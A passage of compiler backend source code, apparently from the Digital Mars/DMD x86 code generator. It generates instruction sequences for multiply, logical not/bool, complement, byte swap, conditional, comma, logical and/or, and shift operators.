cdb.gen2(0x03,modregrm(3,CX,DX)); cdb.gen2(0xF7,modregrm(3,4,BX)); cdb.gen2(0x03,modregrm(3,DX,CX)); fixresult(cdb,e,mDX|mAX,pretregs); } else callclib(cdb,e,lib,pretregs,keepregs); } else assert(0); return; case OPvar: L1: if (!I16 && sz <= REGSIZE) { if (oper == OPmul && sz > 1) // no byte version { // Generate IMUL r32,r/m32 retregs = *pretregs & (ALLREGS | mBP); if (!retregs) retregs = ALLREGS; codelem(cdb,e1,&retregs,FALSE); // eval left leaf resreg = retregs; loadea(cdb,e2,&cs,0x0FAF,findreg(resreg),0,retregs,retregs); freenode(e2); fixresult(cdb,e,resreg,pretregs); return; } } else { if (sz == 2 * REGSIZE) { int reg; if (oper != OPmul || e->E1->Eoper != opunslng || e1->Ecount) goto L2; // have to handle it with codelem() retregs = ALLREGS & ~(mAX | mDX); codelem(cdb,e1->E1,&retregs,FALSE); // eval left leaf reg = findreg(retregs); getregs(cdb,mAX); genmovreg(cdb,AX,reg); // MOV AX,reg loadea(cdb,e2,&cs,0xF7,4,REGSIZE,mAX | mDX | mskl(reg),mAX | mDX); // MUL EA+2 getregs(cdb,retregs); cdb.gen1(0x90 + reg); // XCHG AX,reg getregs(cdb,mAX | mDX); if ((cs.Irm & 0xC0) == 0xC0) // if EA is a register loadea(cdb,e2,&cs,0xF7,4,0,mAX | mskl(reg),mAX | mDX); // MUL EA else { getlvalue_lsw(&cs); cdb.gen(&cs); // MUL EA } cdb.gen2(0x03,modregrm(3,DX,reg)); // ADD DX,reg freenode(e1); fixresult(cdb,e,mAX | mDX,pretregs); return; } assert(sz <= REGSIZE); } // loadea() handles CWD or CLR DX for divides codelem(cdb,e->E1,&retregs,FALSE); // eval left leaf loadea(cdb,e2,&cs,0xF7 ^ byte,op,0, (oper == OPmul) ? mAX : mAX | mDX, mAX | mDX); freenode(e2); fixresult(cdb,e,resreg,pretregs); return; } assert(0); } /*************************** * Handle OPnot and OPbool. * Generate: * c: [evaluate e1] * cfalse: [save reg code] * clr reg * jmp cnop * ctrue: [save reg code] * clr reg * inc reg * cnop: nop */ void cdnot(CodeBuilder& cdb,elem *e,regm_t *pretregs) { unsigned reg; tym_t forflags; regm_t retregs; elem *e1 = e->E1; if (*pretregs == 0) goto L1; if (*pretregs == mPSW) { //assert(e->Eoper != OPnot && e->Eoper != OPbool);*/ /* should've been optimized L1: codelem(cdb,e1,pretregs,FALSE); // evaluate e1 for cc return; } int op = e->Eoper; unsigned sz = tysize(e1->Ety); unsigned rex = (I64 && sz == 8) ? REX_W : 0; unsigned grex = rex << 16; if (!tyfloating(e1->Ety)) { if (sz <= REGSIZE && e1->Eoper == OPvar) { code cs; getlvalue(cdb,&cs,e1,0); freenode(e1); if (!I16 && sz == 2) cs.Iflags |= CFopsize; retregs = *pretregs & (ALLREGS | mBP); if (config.target_cpu >= TARGET_80486 && tysize(e->Ety) == 1) { if (reghasvalue((sz == 1) ? BYTEREGS : ALLREGS,0,&reg)) cs.Iop = 0x39; else { cs.Iop = 0x81; reg = 7; cs.IFL2 = FLconst; cs.IEV2.Vint = 0; } if (I64 && (sz == 1) && reg >= 4) cs.Irex |= REX; cs.Iop ^= (sz == 1); code_newreg(&cs,reg); cdb.gen(&cs); // CMP e1,0 retregs &= BYTEREGS; if (!retregs) retregs = BYTEREGS; allocreg(cdb,&retregs,&reg,TYint); int iop; if (op == OPbool) { iop = 0x0F95; // SETNZ rm8 } else { iop = 0x0F94; // SETZ rm8 } cdb.gen2(iop,grex | modregrmx(3,0,reg)); if (reg >= 4) code_orrex(cdb.last(), REX); if (op == OPbool) *pretregs &= ~mPSW; goto L4; } if (reghasvalue((sz == 1) ? BYTEREGS : ALLREGS,1,&reg)) cs.Iop = 0x39; else { cs.Iop = 0x81; reg = 7; cs.IFL2 = FLconst; cs.IEV2.Vint = 1; } if (I64 && (sz == 1) && reg >= 4) cs.Irex |= REX; cs.Iop ^= (sz == 1); code_newreg(&cs,reg); cdb.gen(&cs); // CMP e1,1 allocreg(cdb,&retregs,&reg,TYint); op ^= (OPbool ^ OPnot); // switch operators goto L2; } else if (config.target_cpu >= TARGET_80486 && tysize(e->Ety) == 1) { int jop = jmpopcode(e->E1); retregs = mPSW; codelem(cdb,e->E1,&retregs,FALSE); retregs = *pretregs & BYTEREGS; if (!retregs) retregs = BYTEREGS; allocreg(cdb,&retregs,&reg,TYint); int iop = 0x0F90 | (jop & 0x0F); // SETcc rm8 if (op == OPnot) iop ^= 1; cdb.gen2(iop,grex | modregrmx(3,0,reg)); if (reg >= 4) code_orrex(cdb.last(), REX); if (op == OPbool) *pretregs &= ~mPSW; goto L4; } else if (sz <= REGSIZE && // NEG bytereg is too expensive (sz != 1 || config.target_cpu < TARGET_PentiumPro)) { retregs = *pretregs & (ALLREGS | mBP); if (sz == 1 && !(retregs &= BYTEREGS)) retregs = BYTEREGS; codelem(cdb,e->E1,&retregs,FALSE); reg = findreg(retregs); getregs(cdb,retregs); cdb.gen2(sz == 1 ? 0xF6 : 0xF7,grex | modregrmx(3,3,reg)); // NEG reg code_orflag(cdb.last(),CFpsw); if (!I16 && sz == SHORTSIZE) code_orflag(cdb.last(),CFopsize); L2: genregs(cdb,0x19,reg,reg); // SBB reg,reg code_orrex(cdb.last(), rex); // At this point, reg==0 if e1==0, reg==-1 if e1!=0 if (op == OPnot) { if (I64) cdb.gen2(0xFF,grex | modregrmx(3,0,reg)); // INC reg else cdb.gen1(0x40 + reg); // INC reg } else cdb.gen2(0xF7,grex | modregrmx(3,3,reg)); // NEG reg if (*pretregs & mPSW) { code_orflag(cdb.last(),CFpsw); *pretregs &= ~mPSW; // flags are always set anyway } L4: fixresult(cdb,e,retregs,pretregs); return; } } code *cnop = gennop(CNIL); code *ctrue = gennop(CNIL); logexp(cdb,e->E1,(op == OPnot) ? FALSE : TRUE,FLcode,ctrue); forflags = *pretregs & mPSW; if (I64 && sz == 8) forflags |= 64; assert(tysize(e->Ety) <= REGSIZE); // result better be int CodeBuilder cdbfalse; allocreg(cdbfalse,pretregs,&reg,e->Ety); // allocate reg for result code *cfalse = cdbfalse.finish(); CodeBuilder cdbtrue; cdbtrue.append(ctrue); for (code *c1 = cfalse; c1; c1 = code_next(c1)) cdbtrue.gen(c1); // duplicate reg save code CodeBuilder cdbfalse2; movregconst(cdbfalse2,reg,0,forflags); // mov 0 into reg regcon.immed.mval &= ~mask[reg]; // mark reg as unavail movregconst(cdbtrue,reg,1,forflags); // mov 1 into reg regcon.immed.mval &= ~mask[reg]; // mark reg as unavail genjmp(cdbfalse2,JMP,FLcode,(block *) cnop); // skip over ctrue cdb.append(cfalse); cdb.append(cdbfalse2); cdb.append(cdbtrue); cdb.append(cnop); } /************************ * Complement operator */ void cdcom(CodeBuilder& cdb,elem *e,regm_t *pretregs) { if (*pretregs == 0) { codelem(cdb,e->E1,pretregs,FALSE); return; } tym_t tym = tybasic(e->Ety); int sz = _tysize[tym]; unsigned rex = (I64 && sz == 8) ? REX_W : 0; regm_t possregs = (sz == 1) ? BYTEREGS : allregs; regm_t retregs = *pretregs & possregs; if (retregs == 0) retregs = possregs; codelem(cdb,e->E1,&retregs,FALSE); getregs(cdb,retregs); // retregs will be destroyed #if 0 if (sz == 4 * REGSIZE) { cdb.gen2(0xF7,modregrm(3,2,AX)); // NOT AX cdb.gen2(0xF7,modregrm(3,2,BX)); // NOT BX cdb.gen2(0xF7,modregrm(3,2,CX)); // NOT CX cdb.gen2(0xF7,modregrm(3,2,DX)); // NOT DX } else #endif { unsigned reg = (sz <= REGSIZE) ? findreg(retregs) : findregmsw(retregs); unsigned op = (sz == 1) ? 0xF6 : 0xF7; genregs(cdb,op,2,reg); // NOT reg code_orrex(cdb.last(), rex); if (I64 && sz == 1 && reg >= 4) code_orrex(cdb.last(), REX); if (sz == 2 * REGSIZE) { reg = findreglsw(retregs); genregs(cdb,op,2,reg); // NOT reg+1 } } fixresult(cdb,e,retregs,pretregs); } /************************ * Bswap operator */ void cdbswap(CodeBuilder& cdb,elem *e,regm_t *pretregs) { if (*pretregs == 0) { codelem(cdb,e->E1,pretregs,FALSE); return; } tym_t tym = tybasic(e->Ety); assert(_tysize[tym] == 4); regm_t retregs = *pretregs & allregs; if (retregs == 0) retregs = allregs; codelem(cdb,e->E1,&retregs,FALSE); getregs(cdb,retregs); // retregs will be destroyed unsigned reg = findreg(retregs); cdb.gen2(0x0FC8 + (reg & 7),0); // BSWAP reg if (reg & 8) code_orrex(cdb.last(), REX_B); fixresult(cdb,e,retregs,pretregs); } /************************* * ?: operator */ void cdcond(CodeBuilder& cdb,elem *e,regm_t *pretregs) { con_t regconold,regconsave; unsigned stackpushold,stackpushsave; int ehindexold,ehindexsave; unsigned sz2; /* vars to save state of 8087 */ int stackusedold,stackusedsave; NDP _8087old[arraysize(_8087elems)]; NDP _8087save[arraysize(_8087elems)]; //printf("cdcond(e = %p, *pretregs = %s)\n",e,regm_str(*pretregs)); elem *e1 = e->E1; elem *e2 = e->E2; elem *e21 = e2->E1; elem *e22 = e2->E2; regm_t psw = *pretregs & mPSW; /* save PSW bit */ unsigned op1 = e1->Eoper; unsigned sz1 = tysize(e1->Ety); unsigned rex = (I64 && sz1 == 8) ? REX_W : 0; unsigned grex = rex << 16; unsigned jop = jmpopcode(e1); unsigned jop1 = jmpopcode(e21); unsigned jop2 = jmpopcode(e22); docommas(cdb,&e1); cgstate.stackclean++; if (!OTrel(op1) && e1 == e21 && sz1 <= REGSIZE && !tyfloating(e1->Ety)) { // Recognize (e ? e : f) code *cnop1 = gennop(CNIL); regm_t retregs = *pretregs | mPSW; codelem(cdb,e1,&retregs,FALSE); cse_flush(cdb,1); // flush CSEs to memory genjmp(cdb,jop,FLcode,(block *)cnop1); freenode(e21); regconsave = regcon; stackpushsave = stackpush; retregs |= psw; if (retregs & (mBP | ALLREGS)) regimmed_set(findreg(retregs),0); codelem(cdb,e22,&retregs,FALSE); andregcon(&regconsave); assert(stackpushsave == stackpush); *pretregs = retregs; freenode(e2); cdb.append(cnop1); cgstate.stackclean--; return; } if (OTrel(op1) && sz1 <= REGSIZE && tysize(e2->Ety) <= REGSIZE && !e1->Ecount && (jop == JC || jop == JNC) && (sz2 = tysize(e2->Ety)) <= REGSIZE && e21->Eoper == OPconst && e22->Eoper == OPconst ) { regm_t retregs; targ_size_t v1,v2; int opcode; if (sz2 != 1 || I64) { retregs = *pretregs & (ALLREGS | mBP); if (!retregs) retregs = ALLREGS; } else { retregs = *pretregs & BYTEREGS; if (!retregs) retregs = BYTEREGS; } cdcmp_flag = 1; v1 = e21->EV.Vllong; v2 = e22->EV.Vllong; if (jop == JNC) { v1 = v2; v2 = e21->EV.Vllong; } opcode = 0x81; switch (sz2) { case 1: opcode--; v1 = (signed char) v1; v2 = (signed char) v2; break; case 2: v1 = (short) v1; v2 = (short) v2; break; case 4: v1 = (int) v1; v2 = (int) v2; break; } if (I64 && v1 != (targ_ullong)(targ_ulong)v1) { // only zero-extension from 32-bits is available for 'or' } else if (I64 && v2 != (targ_llong)(targ_long)v2) { // only sign-extension from 32-bits is available for 'and' } else { codelem(cdb,e1,&retregs,FALSE); unsigned reg = findreg(retregs); if (v1 == 0 && v2 == ~(targ_size_t)0) { cdb.gen2(0xF6 + (opcode & 1),grex | modregrmx(3,2,reg)); // NOT reg if (I64 && sz2 == REGSIZE) code_orrex(cdb.last(), REX_W); } else { v1 -= v2; cdb.genc2(opcode,grex | modregrmx(3,4,reg),v1); // AND reg,v1-v2 if (I64 && sz2 == 1 && reg >= 4) code_orrex(cdb.last(), REX); if (v2 == 1 && !I64) cdb.gen1(0x40 + reg); // INC reg else if (v2 == -1L && !I64) cdb.gen1(0x48 + reg); // DEC reg else { cdb.genc2(opcode,grex | modregrmx(3,0,reg),v2); // ADD reg,v2 if (I64 && sz2 == 1 && reg >= 4) code_orrex(cdb.last(), REX); } } freenode(e21); freenode(e22); freenode(e2); fixresult(cdb,e,retregs,pretregs); cgstate.stackclean--; return; } } if (op1 != OPcond && op1 != OPandand && op1 != OPoror && op1 != OPnot && op1 != OPbool && e21->Eoper == OPconst && sz1 <= REGSIZE && *pretregs & (mBP | ALLREGS) && tysize(e21->Ety) <= REGSIZE && !tyfloating(e21->Ety)) { // Recognize (e ? c : f) code *cnop1 = gennop(CNIL); regm_t retregs = mPSW; jop = jmpopcode(e1); // get jmp condition codelem(cdb,e1,&retregs,FALSE); // Set the register with e21 without affecting the flags retregs = *pretregs & (ALLREGS | mBP); if (retregs & ~regcon.mvar) retregs &= ~regcon.mvar; // don't disturb register variables // NOTE: see my email (sign extension bug? possible fix, some questions unsigned reg; regwithvalue(cdb,retregs,e21->EV.Vllong,&reg,tysize(e21->Ety) == 8 ? 64|8 : 8); retregs = mask[reg]; cse_flush(cdb,1); // flush CSE's to memory genjmp(cdb,jop,FLcode,(block *)cnop1); freenode(e21); regconsave = regcon; stackpushsave = stackpush; codelem(cdb,e22,&retregs,FALSE); andregcon(&regconsave); assert(stackpushsave == stackpush); freenode(e2); cdb.append(cnop1); fixresult(cdb,e,retregs,pretregs); cgstate.stackclean--; return; } code *cnop1 = gennop(CNIL); code *cnop2 = gennop(CNIL); // dummy target addresses logexp(cdb,e1,FALSE,FLcode,cnop1); // evaluate condition regconold = regcon; stackusedold = stackused; stackpushold = stackpush; memcpy(_8087old,_8087elems,sizeof(_8087elems)); regm_t retregs = *pretregs; CodeBuilder cdb1; if (psw && jop1 != JNE) { retregs &= ~mPSW; if (!retregs) retregs = ALLREGS; codelem(cdb1,e21,&retregs,FALSE); fixresult(cdb1,e21,retregs,pretregs); } else codelem(cdb1,e21,&retregs,FALSE); #if SCPP if (CPP && e2->Eoper == OPcolon2) { code cs; // This is necessary so that any cleanup code on one branch // is redone on the other branch. cs.Iop = ESCAPE | ESCmark2; cs.Iflags = 0; cs.Irex = 0; cdb.gen(&cs); cdb.append(cdb1); cs.Iop = ESCAPE | ESCrelease2; cdb.gen(&cs); } else #endif cdb.append(cdb1); regconsave = regcon; regcon = regconold; stackpushsave = stackpush; stackpush = stackpushold; stackusedsave = stackused; stackused = stackusedold; memcpy(_8087save,_8087elems,sizeof(_8087elems)); memcpy(_8087elems,_8087old,sizeof(_8087elems)); retregs |= psw; // PSW bit may have been trashed CodeBuilder cdb2; if (psw && jop2 != JNE) { retregs &= ~mPSW; if (!retregs) retregs = ALLREGS; codelem(cdb2,e22,&retregs,FALSE); fixresult(cdb2,e22,retregs,pretregs); } else codelem(cdb2,e22,&retregs,FALSE); // use same regs as E1 *pretregs = retregs | psw; andregcon(&regconold); andregcon(&regconsave); assert(stackused == stackusedsave); assert(stackpush == stackpushsave); memcpy(_8087elems,_8087save,sizeof(_8087elems)); freenode(e2); genjmp(cdb,JMP,FLcode,(block *) cnop2); cdb.append(cnop1); cdb.append(cdb2); cdb.append(cnop2); if (*pretregs & mST0) note87(e,0,0); cgstate.stackclean--; } /********************* * Comma operator OPcomma */ void cdcomma(CodeBuilder& cdb,elem *e,regm_t *pretregs) { regm_t retregs = 0; codelem(cdb,e->E1,&retregs,FALSE); // ignore value from left leaf codelem(cdb,e->E2,pretregs,FALSE); // do right leaf } /********************************* * Do && and || operators. * Generate: * (evaluate e1 and e2, if TRUE goto cnop1) * cnop3: NOP * cg: [save reg code] ;if we must preserve reg * CLR reg ;FALSE result (set Z also) * JMP cnop2 * * cnop1: NOP ;if e1 evaluates to TRUE * [save reg code] ;preserve reg * * MOV reg,1 ;TRUE result * or * CLR reg ;if return result in flags * INC reg * * cnop2: NOP ;mark end of code */ void cdloglog(CodeBuilder& cdb,elem *e,regm_t *pretregs) { /* We can trip the assert with the following: * if ( (b<=a) ? (c<b || a<=c) : c>=a ) * We'll generate ugly code for it, but it's too obscure a case * to expend much effort on it. * assert(*pretregs != mPSW); */ cgstate.stackclean++; code *cnop1 = gennop(CNIL); CodeBuilder cdb1; cdb1.append(cnop1); code *cnop3 = gennop(CNIL); elem *e2 = e->E2; (e->Eoper == OPoror) ? logexp(cdb,e->E1,1,FLcode,cnop1) : logexp(cdb,e->E1,0,FLcode,cnop3); con_t regconsave = regcon; unsigned stackpushsave = stackpush; if (*pretregs == 0) // if don't want result { int noreturn = !el_returns(e2); codelem(cdb,e2,pretregs,FALSE); if (noreturn) { regconsave.used |= regcon.used; regcon = regconsave; } else andregcon(&regconsave); assert(stackpush == stackpushsave); cdb.append(cnop3); cdb.append(cdb1); // eval code, throw away result cgstate.stackclean--; return; } code *cnop2 = gennop(CNIL); unsigned sz = tysize(e->Ety); if (tybasic(e2->Ety) == TYbool && sz == tysize(e2->Ety) && !(*pretregs & mPSW) && e2->Eoper == OPcall) { codelem(cdb,e2,pretregs,FALSE); andregcon(&regconsave); // stack depth should not change when evaluating E2 assert(stackpush == stackpushsave); assert(sz <= 4); // result better be int regm_t retregs = *pretregs & allregs; unsigned reg; allocreg(cdb1,&retregs,&reg,TYint); // allocate reg for result movregconst(cdb1,reg,e->Eoper == OPoror,0); // reg = 1 regcon.immed.mval &= ~mask[reg]; // mark reg as unavail *pretregs = retregs; if (e->Eoper == OPoror) { cdb.append(cnop3); genjmp(cdb,JMP,FLcode,(block *) cnop2); // JMP cnop2 cdb.append(cdb1); cdb.append(cnop2); } else { genjmp(cdb,JMP,FLcode,(block *) cnop2); // JMP cnop2 cdb.append(cnop3); cdb.append(cdb1); cdb.append(cnop2); } cgstate.stackclean--; return; } logexp(cdb,e2,1,FLcode,cnop1); andregcon(&regconsave); // stack depth should not change when evaluating E2 assert(stackpush == stackpushsave); assert(sz <= 4); // result better be int regm_t retregs = *pretregs & (ALLREGS | mBP); if (!retregs) retregs = ALLREGS; // if mPSW only CodeBuilder cdbcg; unsigned reg; allocreg(cdbcg,&retregs,&reg,TYint); // allocate reg for result code *cg = cdbcg.finish(); for (code *c1 = cg; c1; c1 = code_next(c1)) // for each instruction cdb1.gen(c1); // duplicate it CodeBuilder cdbcg2; movregconst(cdbcg2,reg,0,*pretregs & mPSW); // MOV reg,0 regcon.immed.mval &= ~mask[reg]; // mark reg as unavail genjmp(cdbcg2, JMP,FLcode,(block *) cnop2); // JMP cnop2 movregconst(cdb1,reg,1,*pretregs & mPSW); // reg = 1 regcon.immed.mval &= ~mask[reg]; // mark reg as unavail *pretregs = retregs; cdb.append(cnop3); cdb.append(cg); cdb.append(cdbcg2); cdb.append(cdb1); cdb.append(cnop2); cgstate.stackclean--; return; } /********************* * Generate code for shift left or shift right (OPshl,OPshr,OPashr,OProl,OPror). */ void cdshift(CodeBuilder& cdb,elem *e,regm_t *pretregs) { unsigned resreg,shiftcnt; regm_t retregs,rretregs; //printf("cdshift()\n"); elem *e1 = e->E1; if (*pretregs == 0) // if don't want result { codelem(cdb,e1,pretregs,FALSE); // eval left leaf *pretregs = 0; // in case they got set codelem(cdb,e->E2,pretregs,FALSE); return; } tym_t tyml = tybasic(e1->Ety); int sz = _tysize[tyml]; assert(!tyfloating(tyml)); unsigned oper = e->Eoper; unsigned grex = ((I64 && sz == 8) ? REX_W : 0) << 16; #if SCPP // Do this until the rest of the compiler does OPshr/OPashr correctly if (oper == OPshr) oper = (tyuns(tyml)) ? OPshr : OPashr; #endif unsigned s1,s2; switch (oper) { case OPshl: s1 = 4; // SHL s2 = 2; // RCL break; case OPshr: s1 = 5; // SHR s2 = 3; // RCR break; case OPashr: s1 = 7; // SAR s2 = 3; // RCR break; case OProl: s1 = 0; // ROL break; case OPror: s1 = 1; // ROR break; default: assert(0); } unsigned sreg = ~0; // guard against using value without assigning to sreg elem *e2 = e->E2; regm_t forccs = *pretregs & mPSW; // if return result in CCs regm_t forregs = *pretregs & (ALLREGS | mBP); // mask of possible return regs bool e2isconst = FALSE; // assume for the moment unsigned byte = (sz == 1); switch (e2->Eoper) { case OPconst: e2isconst = TRUE; // e2 is a constant shiftcnt = e2->EV.Vint; // get shift count if ((!I16 && sz <= REGSIZE) || shiftcnt <= 4 || // if sequence of shifts (sz == 2 && (shiftcnt == 8 || config.target_cpu >= TARGET_80286)) || (sz == 2 * REGSIZE && shiftcnt == 8 * REGSIZE) ) { retregs = (forregs) ? forregs : ALLREGS; if (byte) { retregs &= BYTEREGS; if (!retregs) retregs = BYTEREGS; } else if (sz > REGSIZE && sz <= 2 * REGSIZE && !(retregs & mMSW)) retregs |= mMSW & ALLREGS; if (s1 == 7) // if arithmetic right shift { if (shiftcnt == 8) retregs = mAX; else if (sz == 2 * REGSIZE && shiftcnt == 8 * REGSIZE) retregs = mDX|mAX; } if (sz == 2 * REGSIZE && shiftcnt == 8 * REGSIZE && oper == OPshl && !e1->Ecount && (e1->Eoper == OPs16_32 || e1->Eoper == OPu16_32 || e1->Eoper == OPs32_64 || e1->Eoper == OPu32_64) ) { // Handle (shtlng)s << 16 regm_t r = retregs & mMSW; codelem(cdb,e1->E1,&r,FALSE); // eval left leaf regwithvalue(cdb,retregs & mLSW,0,&resreg,0); getregs(cdb,r); retregs = r | mask[resreg]; if (forccs) { sreg = findreg(r); gentstreg(cdb,sreg); *pretregs &= ~mPSW; // already set } freenode(e1); freenode(e2); break; } // See if we should use LEA reg,xxx instead of shift if (!I16 && shiftcnt >= 1 && shiftcnt <= 3 && (sz == REGSIZE || (I64 && sz == 4)) && oper == OPshl && e1->Eoper == OPvar && !(*pretregs & mPSW) && config.flags4 & CFG4speed ) { unsigned reg; regm_t regm; if (isregvar(e1,&regm,&reg) && !(regm & retregs)) { code cs; allocreg(cdb,&retregs,&resreg,e->Ety); buildEA(&cs,-1,reg,1 << shiftcnt,0); cs.Iop = LEA; code_newreg(&cs,resreg); cs.Iflags = 0; if (I64 && sz == 8) cs.Irex |= REX_W; cdb.gen(&cs); // LEA resreg,[reg * ss] freenode(e1); freenode(e2); break; } } codelem(cdb,e1,&retregs,FALSE); // eval left leaf //assert((retregs & regcon.mvar) == 0); getregs(cdb,retregs); // modify these regs { if (sz == 2 * REGSIZE) { resreg = findregmsw(retregs); sreg = findreglsw(retregs); } else { resreg = findreg(retregs); sreg = ~0; // an invalid value } if (config.target_cpu >= TARGET_80286 && sz <= REGSIZE) { // SHL resreg,shiftcnt assert(!(sz == 1 && (mask[resreg] & ~BYTEREGS))); cdb.genc2(0xC1 ^ byte,grex | modregxrmx(3,s1,resreg),shiftcnt); if (shiftcnt == 1) cdb.last()->Iop += 0x10; // short form of shift if (I64 && sz == 1 && resreg >= 4) cdb.last()->Irex |= REX; // See if we need operand size prefix if (!I16 && oper != OPshl && sz == 2) cdb.last()->Iflags |= CFopsize; if (forccs) cdb.last()->Iflags |= CFpsw; // need flags result } else if (shiftcnt == 8) { if (!(retregs & BYTEREGS) || resreg >= 4) { goto L1; } if (pass != PASSfinal && (!forregs || forregs & (mSI | mDI))) { // e1 might get into SI or DI in a later pass, // so don't put CX into a register getregs(cdb,mCX); } assert(sz == 2); switch (oper) { case OPshl: // MOV regH,regL XOR regL,regL assert(resreg < 4 && !grex); genregs(cdb,0x8A,resreg+4,resreg); genregs(cdb,0x32,resreg,resreg); break; case OPshr: case OPashr: // MOV regL,regH genregs(cdb,0x8A,resreg,resreg+4); if (oper == OPashr) cdb.gen1(0x98); // CBW else genregs(cdb,0x32,resreg+4,resreg+4); // CLR regH break; case OPror: case OProl: // XCHG regL,regH genregs(cdb,0x86,resreg+4,resreg); break; default: assert(0); } if (forccs) gentstreg(cdb,resreg); } else if (shiftcnt == REGSIZE * 8) // it's an lword { if (oper == OPshl) swap((int *) &resreg,(int *) &sreg); genmovreg(cdb,sreg,resreg); // MOV sreg,resreg if (oper == OPashr) cdb.gen1(0x99); // CWD else movregconst(cdb,resreg,0,0); // MOV resreg,0 if (forccs) { gentstreg(cdb,sreg); *pretregs &= mBP | ALLREGS | mES; } } else { if (oper == OPshl && sz == 2 * REGSIZE) swap((int *) &resreg,(int *) &sreg); while (shiftcnt--) { cdb.gen2(0xD1 ^ byte,modregrm(3,s1,resreg)); if (sz == 2 * REGSIZE) { code_orflag(cdb.last(),CFpsw); cdb.gen2(0xD1,modregrm(3,s2,sreg)); } } if (forccs) code_orflag(cdb.last(),CFpsw); } if (sz <= REGSIZE) *pretregs &= mBP | ALLREGS; // flags already set } freenode(e2); break; } // FALL-THROUGH default: retregs = forregs & ~mCX; // CX will be shift count if (sz <= REGSIZE) { if (forregs & ~regcon.mvar && !(retregs & ~regcon.mvar)) retregs = ALLREGS & ~mCX; // need something else if (!retregs) retregs = ALLREGS & ~mCX; // need something if (sz == 1) { retregs &= mAX|mBX|mDX; if (!retregs) retregs = mAX|mBX|mDX; } } else { if (!(retregs & mMSW)) retregs = ALLREGS & ~mCX; } codelem(cdb,e->E1,&retregs,FALSE); // eval left leaf if (sz <= REGSIZE) resreg = findreg(retregs); else { resreg = findregmsw(retregs); sreg = findreglsw(retregs); } L1: rretregs = mCX; // CX is shift count if (sz <= REGSIZE) { scodelem(cdb,e2,&rretregs,retregs,FALSE); // get rvalue getregs(cdb,retregs); // trash these regs cdb.gen2(0xD3 ^ byte,grex | modregrmx(3,s1,resreg)); // Sxx resreg,CX if (!I16 && sz == 2 && (oper == OProl || oper == OPror)) cdb.last()->Iflags |= CFopsize; // Note that a shift by CL does not set the flags if // CL == 0. If e2 is a constant, we know it isn't 0 // (it would have been optimized out). if (e2isconst) *pretregs &= mBP | ALLREGS; // flags already set with result } else if (sz == 2 * REGSIZE && config.target_cpu >= TARGET_80386) { unsigned hreg = resreg; unsigned lreg = sreg; unsigned rex = I64 ? (REX_W << 16) : 0; if (e2isconst) { getregs(cdb,retregs); if (shiftcnt & (REGSIZE * 8)) { if (oper == OPshr) { // SHR hreg,shiftcnt // MOV lreg,hreg // XOR hreg,hreg cdb.genc2(0xC1,rex | modregrm(3,s1,hreg),shiftcnt - (REGSIZE * 8)); genmovreg(cdb,lreg,hreg); movregconst(cdb,hreg,0,0); } else if (oper == OPashr) { // MOV lreg,hreg // SAR hreg,31 // SHRD lreg,hreg,shiftcnt genmovreg(cdb,lreg,hreg); cdb.genc2(0xC1,rex | modregrm(3,s1,hreg),(REGSIZE * 8) - 1); cdb.genc2(0x0FAC,rex | modregrm(3,hreg,lreg),shiftcnt - (REGSIZE * 8)); } else { // SHL lreg,shiftcnt // MOV hreg,lreg // XOR lreg,lreg cdb.genc2(0xC1,rex | modregrm(3,s1,lreg),shiftcnt - (REGSIZE * 8)); genmovreg(cdb,hreg,lreg); movregconst(cdb,lreg,0,0); } } else { if (oper == OPshr || oper == OPashr) { // SHRD lreg,hreg,shiftcnt // SHR/SAR hreg,shiftcnt cdb.genc2(0x0FAC,rex | modregrm(3,hreg,lreg),shiftcnt); cdb.genc2(0xC1,rex | modregrm(3,s1,hreg),shiftcnt); } else { // SHLD hreg,lreg,shiftcnt // SHL lreg,shiftcnt cdb.genc2(0x0FA4,rex | modregrm(3,lreg,hreg),shiftcnt); cdb.genc2(0xC1,rex | modregrm(3,s1,lreg),shiftcnt); } } freenode(e2); } else if (config.target_cpu >= TARGET_80486 && REGSIZE == 2) { scodelem(cdb,e2,&rretregs,retregs,FALSE); // get rvalue in CX getregs(cdb,retregs); // modify these regs if (oper == OPshl) { /* SHLD hreg,lreg,CL SHL lreg,CL */ cdb.gen2(0x0FA5,modregrm(3,lreg,hreg)); cdb.gen2(0xD3,modregrm(3,4,lreg)); } else { /* SHRD lreg,hreg,CL SAR hreg,CL -- or -- SHRD lreg,hreg,CL SHR hreg,CL */ cdb.gen2(0x0FAD,modregrm(3,hreg,lreg)); cdb.gen2(0xD3,modregrm(3,s1,hreg)); } } else { code *cl1,*cl2; scodelem(cdb,e2,&rretregs,retregs,FALSE); // get rvalue in CX getregs(cdb,retregs | mCX); // modify these regs // TEST CL,0x20 cdb.genc2(0xF6,modregrm(3,0,CX),REGSIZE * 8); cl1 = gennop(NULL); CodeBuilder cdb1; cdb1.append(cl1); if (oper == OPshl) { /* TEST CL,20H JNE L1 SHLD hreg,lreg,CL SHL lreg,CL JMP L2 L1: AND CL,20H-1 SHL lreg,CL MOV hreg,lreg XOR lreg,lreg L2: NOP */ if (REGSIZE == 2) cdb1.genc2(0x80,modregrm(3,4,CX),REGSIZE * 8 - 1); cdb1.gen2(0xD3,modregrm(3,4,lreg)); genmovreg(cdb1,hreg,lreg); genregs(cdb1,0x31,lreg,lreg); genjmp(cdb,JNE,FLcode,(block *)cl1); cdb.gen2(0x0FA5,modregrm(3,lreg,hreg)); cdb.gen2(0xD3,modregrm(3,4,lreg)); } else { if (oper == OPashr) { /* TEST CL,20H JNE L1 SHRD lreg,hreg,CL SAR hreg,CL JMP L2 L1: AND CL,15 MOV lreg,hreg SAR hreg,31 SHRD lreg,hreg,CL L2: NOP */ if (REGSIZE == 2) cdb1.genc2(0x80,modregrm(3,4,CX),REGSIZE * 8 - 1); genmovreg(cdb1,lreg,hreg); cdb1.genc2(0xC1,modregrm(3,s1,hreg),31); cdb1.gen2(0x0FAD,modregrm(3,hreg,lreg)); } else { /* TEST CL,20H JNE L1 SHRD lreg,hreg,CL SHR hreg,CL JMP L2 L1: AND CL,15 SHR hreg,CL MOV lreg,hreg XOR hreg,hreg L2: NOP */ if (REGSIZE == 2) cdb1.genc2(0x80,modregrm(3,4,CX),REGSIZE * 8 - 1); cdb1.gen2(0xD3,modregrm(3,5,hreg)); genmovreg(cdb1,lreg,hreg); genregs(cdb1,0x31,hreg,hreg); } genjmp(cdb,JNE,FLcode,(block *)cl1); cdb.gen2(0x0FAD,modregrm(3,hreg,lreg)); cdb.gen2(0xD3,modregrm(3,s1,hreg)); } cl2 = gennop(NULL); genjmp(cdb,JMPS,FLcode,(block *)cl2); cdb.append(cdb1); cdb.append(cl2); } break; } else if (sz == 2 * REGSIZE) { scodelem(cdb,e2,&rretregs,retregs,FALSE); 